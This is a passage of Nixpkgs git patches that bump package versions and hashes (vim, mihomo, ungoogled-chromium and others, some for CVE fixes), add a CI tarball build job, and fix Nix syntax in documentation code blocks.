-  version = "9.1.1401";
+  version = "9.1.1475";
 
   outputs = [
     "out"
@@ -11,7 +11,7 @@ rec {
     owner = "vim";
     repo = "vim";
     rev = "v${version}";
-    hash = "sha256-oYde6i5coECUzQQEMo0dvkOXFimKe4y2aGoV2nVLx58=";
+    hash = "sha256-KKUzS0dS9K/jlfP+igyLX1Fwjb7Y5ZAzGLjqHvkA3bs=";
   };
 
   enableParallelBuilding = true;

From d83829ec0cedcd50a73d626556e0fd046fb458c6 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Fri, 18 Jul 2025 23:24:32 +0200
Subject: [PATCH 2835/4511] vim: 9.1.1475 -> 9.1.1566

Fixes CVE-2025-53905 and CVE-2025-53906.
https://github.com/vim/vim/security/advisories/GHSA-74v4-f3x9-ppvr
https://github.com/vim/vim/security/advisories/GHSA-r2fw-9cw4-mj86

(cherry picked from commit 0d3a5cac50cb67e0e46c09f701453f503c59e372)
---
 pkgs/applications/editors/vim/common.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/editors/vim/common.nix b/pkgs/applications/editors/vim/common.nix
index b2cfd2db9fd1..61ff8b7d877f 100644
--- a/pkgs/applications/editors/vim/common.nix
+++ b/pkgs/applications/editors/vim/common.nix
@@ -1,6 +1,6 @@
 { lib, fetchFromGitHub }:
 rec {
-  version = "9.1.1475";
+  version = "9.1.1566";
 
   outputs = [
     "out"
@@ -11,7 +11,7 @@ rec {
     owner = "vim";
     repo = "vim";
     rev = "v${version}";
-    hash = "sha256-KKUzS0dS9K/jlfP+igyLX1Fwjb7Y5ZAzGLjqHvkA3bs=";
+    hash = "sha256-/hzyjFGjl8Wu9tHtFgnnHtGbcJ5AIjCMUNCScrdIgwU=";
   };
 
   enableParallelBuilding = true;

From f6f9d47c324a7f2e9f95ff58d5465f63776af218 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas.gerbet@enalean.com>
Date: Tue, 22 Jul 2025 08:02:10 +0200
Subject: [PATCH 2836/4511] vim-full: fix build when built with GUI support

wayland-scanner is now needed since https://github.com/vim/vim/commit/b90c2395b2c055aed38e0c5fd40c1841f43dab4b

(cherry picked from commit 0d1c07f6bf44882b860a415b09a8efa919e0a89d)
---
 pkgs/applications/editors/vim/full.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/applications/editors/vim/full.nix b/pkgs/applications/editors/vim/full.nix
index 9b20629618ae..06595ed3d217 100644
--- a/pkgs/applications/editors/vim/full.nix
+++ b/pkgs/applications/editors/vim/full.nix
@@ -26,6 +26,7 @@
   libXmu,
   libsodium,
   libICE,
+  wayland-scanner,
   vimPlugins,
   makeWrapper,
   wrapGAppsHook3,
@@ -33,6 +34,7 @@
   features ? "huge", # One of tiny, small, normal, big or huge
   wrapPythonDrv ? false,
   guiSupport ? config.vim.gui or (if stdenv.hostPlatform.isDarwin then "gtk2" else "gtk3"),
+  waylandSupport ? !stdenv.hostPlatform.isDarwin,
   luaSupport ? config.vim.lua or true,
   perlSupport ? config.vim.perl or false, # Perl interpreter
   pythonSupport ? config.vim.python or true, # Python interpreter
@@ -121,6 +123,7 @@ stdenv.mkDerivation {
       "--disable-nextaf_check"
       "--disable-carbon_check"
       "--disable-gtktest"
+      (lib.strings.enableFeature waylandSupport "wayland")
     ]
     ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
       "vim_cv_toupper_broken=no"
@@ -188,6 +191,7 @@ stdenv.mkDerivation {
     ]
     ++ lib.optional (guiSupport == "gtk2") gtk2-x11
     ++ lib.optional (guiSupport == "gtk3") gtk3-x11
+    ++ lib.optional waylandSupport wayland-scanner
     ++ lib.optional luaSupport lua
     ++ lib.optional pythonSupport python3
     ++ lib.optional tclSupport tcl

From 75762bfa54ba7f6ff20fc25346f972354d997a6b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 24 Jul 2025 07:12:18 +0000
Subject: [PATCH 2837/4511] inv-sig-helper: 0-unstable-2025-04-23 ->
 0-unstable-2025-07-23

(cherry picked from commit ffcfffb35892c33327a0ddf0255fe185db471df5)
---
 pkgs/by-name/in/inv-sig-helper/package.nix | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/in/inv-sig-helper/package.nix b/pkgs/by-name/in/inv-sig-helper/package.nix
index 69757859c6cb..99cec84e735e 100644
--- a/pkgs/by-name/in/inv-sig-helper/package.nix
+++ b/pkgs/by-name/in/inv-sig-helper/package.nix
@@ -16,16 +16,15 @@
 
 rustPlatform.buildRustPackage {
   pname = "inv-sig-helper";
-  version = "0-unstable-2025-04-23";
+  version = "0-unstable-2025-07-23";
 
   src = fetchFromGitHub {
     owner = "iv-org";
     repo = "inv_sig_helper";
-    rev = "5d3c7a4574fafe0bc5fbed9e7e33483889832fd4";
-    hash = "sha256-WGh62tjKGe9OD19aq+lP9GfYs5PrGqkeT6VvmtNottQ=";
+    rev = "dcda9f16ae748639cec652ed504809b60f149e71";
+    hash = "sha256-QVVCTM1gn/n6zDD6XdmwXdpVBlnBV9cHCvn8xfOq6E8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DnJL7kkcVn5dW3AoPCn829WmkaCjpDZtYUXnpiB857Q=";
 
   nativeBuildInputs = [

From ca9d9f911715df9e1787f40f91c82107d95b5981 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 23 Jul 2025 00:13:59 +0000
Subject: [PATCH 2838/4511] gitlab-runner: 18.1.1 -> 18.1.2

(cherry picked from commit ff22aa612812087a6bd02ae59d4884c8993c181e)
---
 pkgs/by-name/gi/gitlab-runner/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gi/gitlab-runner/package.nix b/pkgs/by-name/gi/gitlab-runner/package.nix
index 1f5aafe26afb..77db18ccf2a2 100644
--- a/pkgs/by-name/gi/gitlab-runner/package.nix
+++ b/pkgs/by-name/gi/gitlab-runner/package.nix
@@ -10,13 +10,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "gitlab-runner";
-  version = "18.1.1";
+  version = "18.1.2";
 
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-runner";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-XJgGw+7jC0b/UBI3p7RoamOSHGswtPaO4f/apARVW2Y=";
+    hash = "sha256-zazDJBo6HiBh995nsYQvYCgcxyNaulV2ZrG7Kbwxb+0=";
   };
 
   vendorHash = "sha256-G9qZKWI//ECG88Tu8zb8nEDSwNRabVMsrp7aQzVsxCY=";

From 732863ba5978de61aca673edb8bd3c0f919fddc2 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 21 May 2025 02:02:51 +0000
Subject: [PATCH 2839/4511] clash-meta: 1.19.6 -> 1.19.8

(cherry picked from commit 5ce72bd5670ecd8cba912f7716b84900d061fb46)
---
 pkgs/by-name/mi/mihomo/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mi/mihomo/package.nix b/pkgs/by-name/mi/mihomo/package.nix
index 04cfe3d893d1..d91d5a580d2c 100644
--- a/pkgs/by-name/mi/mihomo/package.nix
+++ b/pkgs/by-name/mi/mihomo/package.nix
@@ -7,16 +7,16 @@
 
 buildGoModule rec {
   pname = "mihomo";
-  version = "1.19.6";
+  version = "1.19.8";
 
   src = fetchFromGitHub {
     owner = "MetaCubeX";
     repo = "mihomo";
     rev = "v${version}";
-    hash = "sha256-eVqV7Dt6V4fAT0yGF8D7niZevMmX6WggSpA5J+LU7jY=";
+    hash = "sha256-C8g2KhhXY11bqGKthNgiqdZwxoPVPhflhkh+X6JU33I=";
   };
 
-  vendorHash = "sha256-8LATtCrQs7rDiEWKep9xPlzKw413DpS1FGJsLiWriIQ=";
+  vendorHash = "sha256-j97UFlcN8SfY6nireI6NDw8UcQuxyH34gue1Ywf25Yg=";
 
   excludedPackages = [ "./test" ];
 

From ad1954bc825baf6dc433970fdd8aa919ed967db9 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 31 May 2025 15:54:20 +0000
Subject: [PATCH 2840/4511] clash-meta: 1.19.8 -> 1.19.10

(cherry picked from commit 9140930203e8ab564fdc54fe2f5fba3c0732dc9f)
---
 pkgs/by-name/mi/mihomo/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mi/mihomo/package.nix b/pkgs/by-name/mi/mihomo/package.nix
index d91d5a580d2c..73ffc0f6df0a 100644
--- a/pkgs/by-name/mi/mihomo/package.nix
+++ b/pkgs/by-name/mi/mihomo/package.nix
@@ -7,16 +7,16 @@
 
 buildGoModule rec {
   pname = "mihomo";
-  version = "1.19.8";
+  version = "1.19.10";
 
   src = fetchFromGitHub {
     owner = "MetaCubeX";
     repo = "mihomo";
     rev = "v${version}";
-    hash = "sha256-C8g2KhhXY11bqGKthNgiqdZwxoPVPhflhkh+X6JU33I=";
+    hash = "sha256-7zbJMwczbCHRrAbRC61Pjo58dyphTu+3WYkfi3iiwxw=";
   };
 
-  vendorHash = "sha256-j97UFlcN8SfY6nireI6NDw8UcQuxyH34gue1Ywf25Yg=";
+  vendorHash = "sha256-2hLI8R6hwam7/n8JRQ9Xs4ycWwdNxGRvFM+JhH7ExgM=";
 
   excludedPackages = [ "./test" ];
 

From 352d5d65f8ce356e3b255b064945522a4f39256e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 25 Jun 2025 13:29:44 +0000
Subject: [PATCH 2841/4511] mihomo: 1.19.10 -> 1.19.11

(cherry picked from commit 6f39ba165410eaea7b5a82ccd02122326cebee8d)
---
 pkgs/by-name/mi/mihomo/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mi/mihomo/package.nix b/pkgs/by-name/mi/mihomo/package.nix
index 73ffc0f6df0a..e891ba450bfe 100644
--- a/pkgs/by-name/mi/mihomo/package.nix
+++ b/pkgs/by-name/mi/mihomo/package.nix
@@ -7,16 +7,16 @@
 
 buildGoModule rec {
   pname = "mihomo";
-  version = "1.19.10";
+  version = "1.19.11";
 
   src = fetchFromGitHub {
     owner = "MetaCubeX";
     repo = "mihomo";
     rev = "v${version}";
-    hash = "sha256-7zbJMwczbCHRrAbRC61Pjo58dyphTu+3WYkfi3iiwxw=";
+    hash = "sha256-nt2bnfKzGU+6gUaSqHfnbCnWLMDoAcISmlNYFeM4Xu8=";
   };
 
-  vendorHash = "sha256-2hLI8R6hwam7/n8JRQ9Xs4ycWwdNxGRvFM+JhH7ExgM=";
+  vendorHash = "sha256-k/Zjnq07+Sg+dwwcAf+ziInaDvlXn3bEG+QuxZ5lcM8=";
 
   excludedPackages = [ "./test" ];
 

From cf1bb547c17d4924e9165fdbc5da6f99a9cea7cd Mon Sep 17 00:00:00 2001
From: Moraxyc <i@qaq.li>
Date: Thu, 24 Jul 2025 05:05:12 +0800
Subject: [PATCH 2842/4511] mihomo: backport security patches

(cherry picked from commit 944bca59c62c36602384ca70d018087d5d3511a7)
---
 pkgs/by-name/mi/mihomo/package.nix | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/pkgs/by-name/mi/mihomo/package.nix b/pkgs/by-name/mi/mihomo/package.nix
index e891ba450bfe..7ac8cdbdb218 100644
--- a/pkgs/by-name/mi/mihomo/package.nix
+++ b/pkgs/by-name/mi/mihomo/package.nix
@@ -3,6 +3,7 @@
   fetchFromGitHub,
   buildGoModule,
   nixosTests,
+  fetchpatch,
 }:
 
 buildGoModule rec {
@@ -16,6 +17,19 @@ buildGoModule rec {
     hash = "sha256-nt2bnfKzGU+6gUaSqHfnbCnWLMDoAcISmlNYFeM4Xu8=";
   };
 
+  patches = [
+    # https://github.com/MetaCubeX/mihomo/pull/2178
+    (fetchpatch {
+      url = "https://github.com/MetaCubeX/mihomo/commit/63ad95e10f40ffc90ec93497aac562765af7a471.patch";
+      hash = "sha256-ZE2dlr0t//Q1CVy2ql/TWuLEALdF1ZCYTOVK87bKWQg=";
+    })
+    # https://github.com/MetaCubeX/mihomo/pull/2177
+    (fetchpatch {
+      url = "https://github.com/MetaCubeX/mihomo/commit/b06ec5bef810ec8d009f52428188440df0484ce4.patch";
+      hash = "sha256-XQhlST4pa//+Bg5hWc2zADulz8FeEiHwB99Rw9o24b0=";
+    })
+  ];
+
   vendorHash = "sha256-k/Zjnq07+Sg+dwwcAf+ziInaDvlXn3bEG+QuxZ5lcM8=";
 
   excludedPackages = [ "./test" ];

From 5d8732a714b12fb39d66fbbb4e377f45cffa6e0f Mon Sep 17 00:00:00 2001
From: Diego <diego@strebel.com>
Date: Tue, 15 Jul 2025 17:25:50 +0200
Subject: [PATCH 2843/4511] goimapnotify: 2.5.2 -> 2.5.3

(cherry picked from commit 5fa7b0683dee398baa3740c324be2d74410853d8)
---
 pkgs/by-name/go/goimapnotify/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/go/goimapnotify/package.nix b/pkgs/by-name/go/goimapnotify/package.nix
index 44ab2078d583..095f12b05b93 100644
--- a/pkgs/by-name/go/goimapnotify/package.nix
+++ b/pkgs/by-name/go/goimapnotify/package.nix
@@ -7,16 +7,16 @@
 
 buildGoModule rec {
   pname = "goimapnotify";
-  version = "2.4";
+  version = "2.5.3";
 
   src = fetchFromGitLab {
     owner = "shackra";
     repo = "goimapnotify";
-    rev = version;
-    hash = "sha256-ieaj97CjoSc/qt/JebATHmiJ7RIvNUpFZjEM6mqG9Rk=";
+    tag = version;
+    hash = "sha256-sA2fXk7/xnPl8ogrF00fiRCZvhFoHWjNlugL6gTGHk0=";
   };
 
-  vendorHash = "sha256-rWPXQj0XFS/Mv9ylGv09vol0kkRDNaOAEgnJvSWMvoI=";
+  vendorHash = "sha256-5cZzaCoOR1R7iST0q3GaJbYIbKKEigeWqhp87maOL04=";
 
   postPatch = ''
     for f in command.go command_test.go; do

From d3a548537507aa36629f28545789ff9e5f898f9d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 22 Jul 2025 14:12:49 +0200
Subject: [PATCH 2844/4511] workflows/build: build nixpkgs tarball

This adds a build job for the tarball, which might help uncover eval
issues on attributes not normally touched by Eval, aka those added in
`pkgs/top-level/packages-config.nix`.

(cherry picked from commit bfb20b9feada22bfc00ade6d079d95ca71732cf7)
---
 .github/workflows/build.yml |  8 ++++++--
 ci/default.nix              | 16 +++++++++++++++-
 2 files changed, 21 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 2ca140aee4c8..7c4d9ac48a9b 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -27,8 +27,8 @@ jobs:
         include:
           - runner: ubuntu-24.04
             system: x86_64-linux
-            builds: [shell, manual-nixos, lib-tests]
-            desc: shell, docs, lib
+            builds: [shell, manual-nixos, lib-tests, tarball]
+            desc: shell, docs, lib, tarball
           - runner: ubuntu-24.04-arm
             system: aarch64-linux
             builds: [shell, manual-nixos, manual-nixpkgs, manual-nixpkgs-tests]
@@ -85,6 +85,10 @@ jobs:
         if: contains(matrix.builds, 'lib-tests') && !cancelled()
         run: nix-build untrusted/ci -A lib-tests
 
+      - name: Build tarball
+        if: contains(matrix.builds, 'tarball') && !cancelled()
+        run: nix-build untrusted/ci -A tarball
+
       - name: Upload NixOS manual
         if: |
           contains(matrix.builds, 'manual-nixos') && !cancelled() &&
diff --git a/ci/default.nix b/ci/default.nix
index 68fce29901a0..a33b023a6beb 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -89,7 +89,7 @@ let
     };
 
 in
-{
+rec {
   inherit pkgs fmt;
   requestReviews = pkgs.callPackage ./request-reviews { };
   codeownersValidator = pkgs.callPackage ./codeowners-validator { };
@@ -113,4 +113,18 @@ in
     minimum = pkgs.callPackage ./parse.nix { nix = pkgs.nixVersions.minimum; };
   };
   shell = import ../shell.nix { inherit nixpkgs system; };
+  tarball = import ../pkgs/top-level/make-tarball.nix {
+    # Mirrored from top-level release.nix:
+    nixpkgs = {
+      outPath = pkgs.lib.cleanSource ../.;
+      revCount = 1234;
+      shortRev = "abcdef";
+      revision = "0000000000000000000000000000000000000000";
+    };
+    officialRelease = false;
+    inherit pkgs lib-tests;
+    # 2.28 / 2.29 take 9x longer than 2.30 or Lix.
+    # TODO: Switch back to nixVersions.latest
+    nix = pkgs.lix;
+  };
 }

From 63270fc925ca8e76fa10f562a7387a54711b4f36 Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Thu, 24 Jul 2025 02:54:04 +0200
Subject: [PATCH 2845/4511] ungoogled-chromium: 138.0.7204.157-1 ->
 138.0.7204.168-1

https://chromereleases.googleblog.com/2025/07/stable-channel-update-for-desktop_22.html

This update includes 3 security fixes.

CVEs:
CVE-2025-8010 CVE-2025-8011

(cherry picked from commit 03eb460d0356ea92b1f78f471dba41ae1e660213)
---
 .../networking/browsers/chromium/info.json     | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index a41fc3d01dd6..7b7ff021579f 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -802,7 +802,7 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "138.0.7204.157",
+    "version": "138.0.7204.168",
     "deps": {
       "depot_tools": {
         "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
@@ -813,16 +813,16 @@
         "hash": "sha256-UB9a7Fr1W0yYld6WbXyRR8dFqWsj/zx4KumDZ5JQKSM="
       },
       "ungoogled-patches": {
-        "rev": "138.0.7204.157-1",
-        "hash": "sha256-KzxbyIdESyom6biHUYRJfQJuhA84YQ1KpUHEYncb8IU="
+        "rev": "138.0.7204.168-1",
+        "hash": "sha256-QmHw0sLnVvMwVu/r4L2XS0S31vl+6NJb0zV63iihhkk="
       },
       "npmHash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "e533e98b1267baa1f1c46d666b120e64e5146aa9",
-        "hash": "sha256-LbZ8/6Lvz1p3ydRL4fXtd7RL426PU3jU01Hx+DP5QYQ=",
+        "rev": "3e8d82e86e9f508e88ed406c2a24657a6c691d30",
+        "hash": "sha256-6s9mkfckhibpb+L74oPZsgvOZZT58BeSo362t/s92UI=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -1047,8 +1047,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "4cca0aa00c4915947f1081014d5cfa2e83d357fa",
-        "hash": "sha256-pVNr8NB5U/Uf688oOvPLpu81isCn/WmjJky01A000a4="
+        "rev": "a718e86b3dc6f1ba3c8cc8092cd79b401d428cfc",
+        "hash": "sha256-50KQk54JwwRS3ENUjB0QedQYFuwmkv9oxytfuNDTVPo="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -1597,8 +1597,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "de9d0f8b56ae61896e4d2ac577fc589efb14f87d",
-        "hash": "sha256-/T5fisjmN80bs3PtQrCRfH3Bo9dRSd3f+xpPLDh1RTY="
+        "rev": "f5036f509b5e147cccb298a069c40827f3d5edd6",
+        "hash": "sha256-n4/Lf5ZawqUY0QHF2jYl3JPPx9Br/wzVmtqnMvq3Vzk="
       }
     }
   }

From ad1379b5e09bd15e494b4116b11c8d0a19ba4736 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 22 Jul 2025 22:04:23 +0200
Subject: [PATCH 2846/4511] treewide: fix syntax errors in nix code blocks

Fixes all code blocks with "nix" language in markdown files for syntax
errors to be able to run nixfmt in the next step.

(cherry picked from commit 6c47e7d5da028f171def976b0702413eb0ad95a1)
---
 .../adding-custom-packages.section.md         |   2 +-
 .../configuration/mattermost.chapter.md       |   2 +-
 .../manual/configuration/user-mgmt.chapter.md |   8 +-
 .../testing-hardware-features.section.md      | 193 +++++++++---------
 ...s-via-nixos-rebuild-build-image.chapter.md |   2 +
 .../manual/release-notes/rl-2405.section.md   |   8 +-
 .../manual/release-notes/rl-2411.section.md   |  38 ++--
 .../manual/release-notes/rl-2505.section.md   |  26 ++-
 .../modules/services/databases/postgresql.md  | 112 +++++-----
 nixos/modules/services/monitoring/glances.md  |   2 +-
 .../modules/services/networking/crab-hole.md  |   2 +-
 .../modules/services/networking/jotta-cli.md  |  12 +-
 .../services/networking/netbird/server.md     |  48 ++---
 .../system/kerberos/kerberos-server.md        |   2 +-
 nixos/modules/services/web-apps/nextcloud.md  |   8 +-
 pkgs/by-name/README.md                        |  11 +-
 pkgs/by-name/az/azure-cli/README.md           |   6 +-
 .../custom-components/README.md               |   3 +-
 18 files changed, 264 insertions(+), 221 deletions(-)

diff --git a/nixos/doc/manual/configuration/adding-custom-packages.section.md b/nixos/doc/manual/configuration/adding-custom-packages.section.md
index f2012d9c2462..abb2f9cc31ea 100644
--- a/nixos/doc/manual/configuration/adding-custom-packages.section.md
+++ b/nixos/doc/manual/configuration/adding-custom-packages.section.md
@@ -111,7 +111,7 @@ If there are shared libraries missing add them with
     extraPkgs = pkgs: [
       # missing libraries here, e.g.: `pkgs.libepoxy`
     ];
-  }
+  };
 }
 ```
 
diff --git a/nixos/doc/manual/configuration/mattermost.chapter.md b/nixos/doc/manual/configuration/mattermost.chapter.md
index f247134ce49a..801475ce5a15 100644
--- a/nixos/doc/manual/configuration/mattermost.chapter.md
+++ b/nixos/doc/manual/configuration/mattermost.chapter.md
@@ -33,7 +33,7 @@ To enable Mattermost using Postgres, use a config like this:
 
     # For example, to disable auto-installation of prepackaged plugins.
     settings.PluginSettings.AutomaticPrepackagedPlugins = false;
-  }
+  };
 }
 ```
 
diff --git a/nixos/doc/manual/configuration/user-mgmt.chapter.md b/nixos/doc/manual/configuration/user-mgmt.chapter.md
index 89604941bf11..3f490bb68d26 100644
--- a/nixos/doc/manual/configuration/user-mgmt.chapter.md
+++ b/nixos/doc/manual/configuration/user-mgmt.chapter.md
@@ -137,7 +137,9 @@ the Perl script. It aims to eventually replace the Perl script by default.
 You can enable Userborn via:
 
 ```nix
-services.userborn.enable = true;
+{
+  services.userborn.enable = true;
+}
 ```
 
 You can configure Userborn to store the password files
@@ -145,7 +147,9 @@ You can configure Userborn to store the password files
 location to `/etc`:
 
 ```nix
-services.userborn.passwordFilesLocation = "/persistent/etc";
+{
+  services.userborn.passwordFilesLocation = "/persistent/etc";
+}
 ```
 
 This is useful when you store `/etc` on a `tmpfs` or if `/etc` is immutable
diff --git a/nixos/doc/manual/development/testing-hardware-features.section.md b/nixos/doc/manual/development/testing-hardware-features.section.md
index aaf652d731f7..f90880830a9a 100644
--- a/nixos/doc/manual/development/testing-hardware-features.section.md
+++ b/nixos/doc/manual/development/testing-hardware-features.section.md
@@ -22,25 +22,27 @@ You can run `vwifi-ctrl` on this node to control characteristics of the simulate
 physical layer.
 
 ```nix
-airgap =
-  { config, ... }:
-  {
-    networking.interfaces.eth1.ipv4.addresses = lib.mkForce [
-      {
-        address = "192.168.1.2";
-        prefixLength = 24;
-      }
-    ];
-    services.vwifi = {
-      server = {
-        enable = true;
-        ports.tcp = 8212;
-        # uncomment if you want to enable monitor mode on another node
-        # ports.spy = 8213;
-        openFirewall = true;
+{
+  airgap =
+    { config, ... }:
+    {
+      networking.interfaces.eth1.ipv4.addresses = lib.mkForce [
+        {
+          address = "192.168.1.2";
+          prefixLength = 24;
+        }
+      ];
+      services.vwifi = {
+        server = {
+          enable = true;
+          ports.tcp = 8212;
+          # uncomment if you want to enable monitor mode on another node
+          # ports.spy = 8213;
+          openFirewall = true;
+        };
       };
     };
-  };
+}
 ```
 
 ### AP {#sec-nixos-test-wifi-ap}
@@ -48,40 +50,42 @@ airgap =
 A node like this will act as a wireless access point in infrastructure mode.
 
 ```nix
-ap =
-  { config, ... }:
-  {
-    networking.interfaces.eth1.ipv4.addresses = lib.mkForce [
-      {
-        address = "192.168.1.3";
-        prefixLength = 24;
-      }
-    ];
-    services.hostapd = {
-      enable = true;
-      radios.wlan0 = {
-        channel = 1;
-        networks.wlan0 = {
-          ssid = "NixOS Test Wi-Fi Network";
-          authentication = {
-            mode = "wpa3-sae";
-            saePasswords = [ { password = "supersecret"; } ];
-            enableRecommendedPairwiseCiphers = true;
+{
+  ap =
+    { config, ... }:
+    {
+      networking.interfaces.eth1.ipv4.addresses = lib.mkForce [
+        {
+          address = "192.168.1.3";
+          prefixLength = 24;
+        }
+      ];
+      services.hostapd = {
+        enable = true;
+        radios.wlan0 = {
+          channel = 1;
+          networks.wlan0 = {
+            ssid = "NixOS Test Wi-Fi Network";
+            authentication = {
+              mode = "wpa3-sae";
+              saePasswords = [ { password = "supersecret"; } ];
+              enableRecommendedPairwiseCiphers = true;
+            };
           };
         };
       };
-    };
-    services.vwifi = {
-      module = {
-        enable = true;
-        macPrefix = "74:F8:F6:00:01";
-      };
-      client = {
-        enable = true;
-        serverAddress = "192.168.1.2";
+      services.vwifi = {
+        module = {
+          enable = true;
+          macPrefix = "74:F8:F6:00:01";
+        };
+        client = {
+          enable = true;
+          serverAddress = "192.168.1.2";
+        };
       };
     };
-  };
+}
 ```
 
 ### Station {#sec-nixos-test-wifi-station}
@@ -89,37 +93,39 @@ ap =
 A node like this acts as a wireless client.
 
 ```nix
-station =
-  { config, ... }:
-  {
-    networking.interfaces.eth1.ipv4.addresses = lib.mkForce [
-      {
-        address = "192.168.1.3";
-        prefixLength = 24;
-      }
-    ];
-    networking.wireless = {
-      # No, really, we want it enabled!
-      enable = lib.mkOverride 0 true;
-      interfaces = [ "wlan0" ];
-      networks = {
-        "NixOS Test Wi-Fi Network" = {
-          psk = "supersecret";
-          authProtocols = [ "SAE" ];
+{
+  station =
+    { config, ... }:
+    {
+      networking.interfaces.eth1.ipv4.addresses = lib.mkForce [
+        {
+          address = "192.168.1.3";
+          prefixLength = 24;
+        }
+      ];
+      networking.wireless = {
+        # No, really, we want it enabled!
+        enable = lib.mkOverride 0 true;
+        interfaces = [ "wlan0" ];
+        networks = {
+          "NixOS Test Wi-Fi Network" = {
+            psk = "supersecret";
+            authProtocols = [ "SAE" ];
+          };
+        };
+      };
+      services.vwifi = {
+        module = {
+          enable = true;
+          macPrefix = "74:F8:F6:00:02";
+        };
+        client = {
+          enable = true;
+          serverAddress = "192.168.1.2";
         };
       };
     };
-    services.vwifi = {
-      module = {
-        enable = true;
-        macPrefix = "74:F8:F6:00:02";
-      };
-      client = {
-        enable = true;
-        serverAddress = "192.168.1.2";
-      };
-    };
-  };
+}
 ```
 
 ### Monitor {#sec-nixos-test-wifi-monitor}
@@ -128,25 +134,28 @@ When the monitor mode interface is enabled, this node will receive
 all packets broadcast by all other nodes through the spy interface.
 
 ```nix
-monitor =
-  { config, ... }:
-  {
-    networking.interfaces.eth1.ipv4.addresses = lib.mkForce [
-      {
-        address = "192.168.1.4";
-        prefixLength = 24;
-      }
-    ];
+{
+  monitor =
+    { config, ... }:
+    {
+      networking.interfaces.eth1.ipv4.addresses = lib.mkForce [
+        {
+          address = "192.168.1.4";
+          prefixLength = 24;
+        }
+      ];
 
-    services.vwifi = {
-      module = {
-        enable = true;
-        macPrefix = "74:F8:F6:00:03";
-      };
-      client = {
-        enable = true;
-        spy = true;
-        serverAddress = "192.168.1.2";
+      services.vwifi = {
+        module = {
+          enable = true;
+          macPrefix = "74:F8:F6:00:03";
+        };
+        client = {
+          enable = true;
+          spy = true;
+          serverAddress = "192.168.1.2";
+        };
       };
     };
+}
 ```
diff --git a/nixos/doc/manual/installation/building-images-via-nixos-rebuild-build-image.chapter.md b/nixos/doc/manual/installation/building-images-via-nixos-rebuild-build-image.chapter.md
index 075a8fca3bbb..9b18bf895ad1 100644
--- a/nixos/doc/manual/installation/building-images-via-nixos-rebuild-build-image.chapter.md
+++ b/nixos/doc/manual/installation/building-images-via-nixos-rebuild-build-image.chapter.md
@@ -25,7 +25,9 @@ The `image.modules` option can be used to set specific options per image variant
 E.g. images for the cloud provider Linode use `grub2` as a bootloader by default. If you are using `systemd-boot` on other platforms and want to disable it for Linode only, you could use the following options:
 
 ``` nix
+{
   image.modules.linode = {
     boot.loader.systemd-boot.enable = lib.mkForce false;
   };
+}
 ```
diff --git a/nixos/doc/manual/release-notes/rl-2405.section.md b/nixos/doc/manual/release-notes/rl-2405.section.md
index b11f36719035..799d9eb62a74 100644
--- a/nixos/doc/manual/release-notes/rl-2405.section.md
+++ b/nixos/doc/manual/release-notes/rl-2405.section.md
@@ -243,9 +243,11 @@ The pre-existing `services.ankisyncd` has been marked deprecated and will be dro
 - `azure-cli` now has extension support. For example, to install the `aks-preview` extension, use
 
   ```nix
-  environment.systemPackages = [
-    (azure-cli.withExtensions [ azure-cli.extensions.aks-preview ])
-  ];
+  {
+    environment.systemPackages = [
+      (azure-cli.withExtensions [ azure-cli.extensions.aks-preview ])
+    ];
+  }
   ```
